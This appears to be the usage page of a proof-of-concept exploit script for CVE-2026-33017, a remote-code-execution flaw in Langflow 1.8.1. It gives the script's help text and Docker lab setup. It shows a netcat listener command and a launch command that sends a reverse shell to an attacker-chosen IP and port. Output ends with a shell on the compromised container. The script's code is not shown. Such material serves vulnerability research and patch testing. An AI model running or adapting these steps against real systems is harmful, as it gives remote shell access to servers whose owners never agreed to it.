usage: CVE-2026-33017.py [-h] --lhost LHOST --lport LPORT target

PoC exploit: CVE-2026-33017

positional arguments:
  target         Target hostname

options:
  -h, --help     show this help message and exit
  --lhost LHOST  Reverse shell destination IP address
  --lport LPORT  Reverse shell destination port

# Create docker instance
docker run -d -p 7860:7860 langflowai/langflow:1.8.1

# Start listener
nc -lnvp 4444

# Launch exploit
python3 CVE-2026-33017.py 127.0.0.1 --lhost 192.168.1.17 --lport 4444

# Should receive reverse shell in listener
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 42712
uname -a
Linux 9be89ace430c 6.14.0-37-generic #37~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 20 10:25:38 UTC 2 x86_64 GNU/Linux